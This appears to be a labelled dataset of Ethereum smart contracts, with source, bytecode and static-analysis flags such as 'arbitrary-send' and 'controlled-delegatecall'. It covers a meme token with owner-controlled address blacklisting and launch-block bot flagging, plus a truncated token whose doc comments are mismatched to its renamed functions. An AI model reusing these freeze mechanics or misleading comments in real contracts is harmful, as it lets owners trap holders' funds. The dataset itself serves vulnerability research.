01561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610599945050505050565b34801561031257600080fd5b506101426106d9565b610323610704565b61033361032e610764565b610789565b565b61033d6107ad565b6001600160a01b0316336001600160a01b031614156103645761035f816107d2565b61036c565b61036c61031b565b50565b6103776107ad565b6001600160a01b0316336001600160a01b0316141561040f57610399836107d2565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b60006104266107ad565b6001600160a01b0316336001600160a01b0316141561044e57610447610764565b9050610456565b61045661031b565b90565b6104616107ad565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b81526004018080602001828103825260368152602001806108d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e86107ad565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610812565b600061051d610764565b6001600160a01b03161461053057600080fd5b61053a8382610599565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059057fe5b61041782610812565b60006105a3610764565b6001600160a01b0316146105b657600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461061657fe5b61061f82610836565b8051156106d5576000826001600160a01b0316826040518082805190602001908083835b602083106106625780518252601f199092019160209182019101610643565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106c2576040519150601f19603f3d011682016040523d82523d6000602084013e6106c7565b606091505b505090508061041757600080fd5b5050565b60006106e36107ad565b6001600160a01b0316336001600160a01b0316141561044e576104476107ad565b61070c6107ad565b6001600160a01b0316336001600160a01b0316141561075c5760405162461bcd60e51b81526004018080602001828103825260328152602001806108a56032913960400191505060405180910390fd5b610333610333565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107a8573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107db81610836565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61083f8161089e565b61087a5760405162461bcd60e51b815260040180806020018281038252603b81526020018061090d603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820c741c0e10e58b4ccf1cff60f41f81ad16c510d30e71bfb162a85a86c6e6fc9ed64736f6c634300050e0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 9,814 |
0xbe329c1669a05a4922ac94bd953fb8b45cfa19db | /*
TG: NOCALLERTOKEN
$NOCALL aims to be the most UNEXPECTED and UNPRECEDENTED coin ever on the blockchain to abandon all the callers. We show our dedication to get rid of useless callers, so called “marketing proposals” and screw those short-sighted and unresponsive motherfuckers or even scammers . We need to show the crypto market that callers aren't irreplaceable and vital to any dev teams.
TOKENOMICS:
3% Reflection
2% Development Team
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract NOCALL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "NOCALL";
string private constant _symbol = "NOCALL";
uint private constant _decimals = 9;
uint256 private _teamFee = 5;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 5);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610468578063e6ec64ec146104ae578063f2fde38b146104ce578063fc588c04146104ee57600080fd5b8063a9059cbb14610408578063b515566a14610428578063cf0848f71461044857600080fd5b806370a082311461036b578063715018a61461038b5780637c938bb4146103a05780638da5cb5b146103c057806390d49b9d146103e857806395d89b41146101a857600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102c4578063437823ec146102fd578063476343ee1461031d5780635342acb41461033257600080fd5b8063313ce5671461027057806331c2d847146102845780633a0f23b3146102a457600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101e657806318160ddd1461021657806323b872dd1461023b578063293230b81461025b57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661050e565b005b3480156101b457600080fd5b5060408051808201825260068152651393d0d0531360d21b602082015290516101dd9190611924565b60405180910390f35b3480156101f257600080fd5b5061020661020136600461199e565b61055a565b60405190151581526020016101dd565b34801561022257600080fd5b50678ac7230489e800005b6040519081526020016101dd565b34801561024757600080fd5b506102066102563660046119ca565b610571565b34801561026757600080fd5b506101a66105da565b34801561027c57600080fd5b50600961022d565b34801561029057600080fd5b506101a661029f366004611a21565b610640565b3480156102b057600080fd5b506101a66102bf366004611ae6565b6106d6565b3480156102d057600080fd5b506102066102df366004611b08565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030957600080fd5b506101a6610318366004611b08565b610713565b34801561032957600080fd5b506101a6610761565b34801561033e57600080fd5b5061020661034d366004611b08565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037757600080fd5b5061022d610386366004611b08565b61079b565b34801561039757600080fd5b506101a66107bd565b3480156103ac57600080fd5b506101a66103bb366004611b08565b6107f3565b3480156103cc57600080fd5b506000546040516001600160a01b0390911681526020016101dd565b3480156103f457600080fd5b506101a6610403366004611b08565b610a4e565b34801561041457600080fd5b5061020661042336600461199e565b610ac8565b34801561043457600080fd5b506101a6610443366004611a21565b610ad5565b34801561045457600080fd5b506101a6610463366004611b08565b610bee565b34801561047457600080fd5b5061022d610483366004611b25565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104ba57600080fd5b506101a66104c9366004611b5e565b610c39565b3480156104da57600080fd5b506101a66104e9366004611b08565b610c75565b3480156104fa57600080fd5b506101a6610509366004611b5e565b610d0d565b6000546001600160a01b031633146105415760405162461bcd60e51b815260040161053890611b77565b60405180910390fd5b600061054c3061079b565b905061055781610d49565b50565b6000610567338484610ec3565b5060015b92915050565b600061057e848484610fe7565b6105d084336105cb85604051806060016040528060288152602001611cf2602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061140d565b610ec3565b5060019392505050565b6000546001600160a01b031633146106045760405162461bcd60e51b815260040161053890611b77565b600d54600160a01b900460ff1661061a57600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161053890611b77565b60005b81518110156106d25760006005600084848151811061068e5761068e611bac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ca81611bd8565b91505061066d565b5050565b6000546001600160a01b031633146107005760405162461bcd60e51b815260040161053890611b77565b600f805460ff1916911515919091179055565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161053890611b77565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156106d2573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461056b90611447565b6000546001600160a01b031633146107e75760405162461bcd60e51b815260040161053890611b77565b6107f160006114cb565b565b6000546001600160a01b0316331461081d5760405162461bcd60e51b815260040161053890611b77565b600d54600160a01b900460ff16156108855760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610538565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109009190611bf3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109719190611bf3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e29190611bf3565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a785760405162461bcd60e51b815260040161053890611b77565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610567338484610fe7565b6000546001600160a01b03163314610aff5760405162461bcd60e51b815260040161053890611b77565b60005b81518110156106d257600d5482516001600160a01b0390911690839083908110610b2e57610b2e611bac565b60200260200101516001600160a01b031614158015610b7f5750600c5482516001600160a01b0390911690839083908110610b6b57610b6b611bac565b60200260200101516001600160a01b031614155b15610bdc57600160056000848481518110610b9c57610b9c611bac565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610be681611bd8565b915050610b02565b6000546001600160a01b03163314610c185760405162461bcd60e51b815260040161053890611b77565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c635760405162461bcd60e51b815260040161053890611b77565b60058110610c7057600080fd5b600855565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b815260040161053890611b77565b6001600160a01b038116610d045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610538565b610557816114cb565b6000546001600160a01b03163314610d375760405162461bcd60e51b815260040161053890611b77565b60028111610d4457600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d9157610d91611bac565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190611bf3565b81600181518110610e2157610e21611bac565b6001600160a01b039283166020918202929092010152600c54610e479130911684610ec3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e80908590600090869030904290600401611c10565b600060405180830381600087803b158015610e9a57600080fd5b505af1158015610eae573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610538565b6001600160a01b038216610f865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610538565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661104b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610538565b6001600160a01b0382166110ad5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610538565b6000811161110f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610538565b6001600160a01b03831660009081526005602052604090205460ff16156111b75760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610538565b6001600160a01b03831660009081526004602052604081205460ff161580156111f957506001600160a01b03831660009081526004602052604090205460ff16155b801561120f5750600d54600160a81b900460ff16155b801561123f5750600d546001600160a01b038581169116148061123f5750600d546001600160a01b038481169116145b156113fb57600d54600160b81b900460ff1661129d5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610538565b50600d546001906001600160a01b0385811691161480156112cc5750600c546001600160a01b03848116911614155b80156112da5750600f5460ff165b1561132b5760006112ea8461079b565b9050611314606461130e600a54678ac7230489e8000061151b90919063ffffffff16565b9061159a565b61131e84836115dc565b111561132957600080fd5b505b600e54421415611359576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113643061079b565b600d54909150600160b01b900460ff1615801561138f5750600d546001600160a01b03868116911614155b156113f95780156113f957600d546113c39060649061130e90600f906113bd906001600160a01b031661079b565b9061151b565b8111156113f057600d546113ed9060649061130e90600f906113bd906001600160a01b031661079b565b90505b6113f981610d49565b505b6114078484848461163b565b50505050565b600081848411156114315760405162461bcd60e51b81526004016105389190611924565b50600061143e8486611c81565b95945050505050565b60006006548211156114ae5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610538565b60006114b861173e565b90506114c4838261159a565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261152a5750600061056b565b60006115368385611c98565b9050826115438583611cb7565b146114c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610538565b60006114c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611761565b6000806115e98385611cd9565b9050838110156114c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610538565b80806116495761164961178f565b600080600080611658876117ab565b6001600160a01b038d166000908152600160205260409020549397509195509350915061168590856117f2565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116b490846115dc565b6001600160a01b0389166000908152600160205260409020556116d681611834565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171b91815260200190565b60405180910390a3505050508061173757611737600954600855565b5050505050565b600080600061174b61187e565b909250905061175a828261159a565b9250505090565b600081836117825760405162461bcd60e51b81526004016105389190611924565b50600061143e8486611cb7565b60006008541161179e57600080fd5b6008805460095560009055565b6000806000806000806117c0876008546118be565b9150915060006117ce61173e565b90506000806117de8a85856118eb565b909b909a5094985092965092945050505050565b60006114c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140d565b600061183e61173e565b9050600061184c838361151b565b3060009081526001602052604090205490915061186990826115dc565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e80000611899828261159a565b8210156118b557505060065492678ac7230489e8000092509050565b90939092509050565b600080806118d1606461130e878761151b565b905060006118df86836117f2565b96919550909350505050565b600080806118f9868561151b565b90506000611907868661151b565b9050600061191583836117f2565b92989297509195505050505050565b600060208083528351808285015260005b8181101561195157858101830151858201604001528201611935565b81811115611963576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055757600080fd5b803561199981611979565b919050565b600080604083850312156119b157600080fd5b82356119bc81611979565b946020939093013593505050565b6000806000606084860312156119df57600080fd5b83356119ea81611979565b925060208401356119fa81611979565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3457600080fd5b823567ffffffffffffffff80821115611a4c57600080fd5b818501915085601f830112611a6057600080fd5b813581811115611a7257611a72611a0b565b8060051b604051601f19603f83011681018181108582111715611a9757611a97611a0b565b604052918252848201925083810185019188831115611ab557600080fd5b938501935b82851015611ada57611acb8561198e565b84529385019392850192611aba565b98975050505050505050565b600060208284031215611af857600080fd5b813580151581146114c457600080fd5b600060208284031215611b1a57600080fd5b81356114c481611979565b60008060408385031215611b3857600080fd5b8235611b4381611979565b91506020830135611b5381611979565b809150509250929050565b600060208284031215611b7057600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bec57611bec611bc2565b5060010190565b600060208284031215611c0557600080fd5b81516114c481611979565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c605784516001600160a01b031683529383019391830191600101611c3b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c9357611c93611bc2565b500390565b6000816000190483118215151615611cb257611cb2611bc2565b500290565b600082611cd457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611cec57611cec611bc2565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a57bd74a5dfb3ae64e9d045425ab0f556fe1e88fa1b5761460005a985e07bee64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,815 |
0x8d54f0ce9719a22336ead45f885d94b4cc7864c8 | /*
🐼 PANDA INU IS A NEW ERC20 TOKEN THAT WILL TAKE THE MARKET BY STORM! 🐼
🐼 Inspired from Shiba, Panda is going to be a straight moon mission which will reward
it's holders along this amazing ride to the top. 🐼
TOTAL SUPPLY: 1,000,000,000,000 PANDA 🐼
5% REFLECTION 🔥
6% SENT TO MARKETING WALLET 💰
Panda Swap and NFT Marketplace will be released soon! Come join us on our moon mission!
VISIT OUR SITE! -> www.pandainu.dog/
TALK TO OTHER INVESTORS! -> @pandoriofficial
*/
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
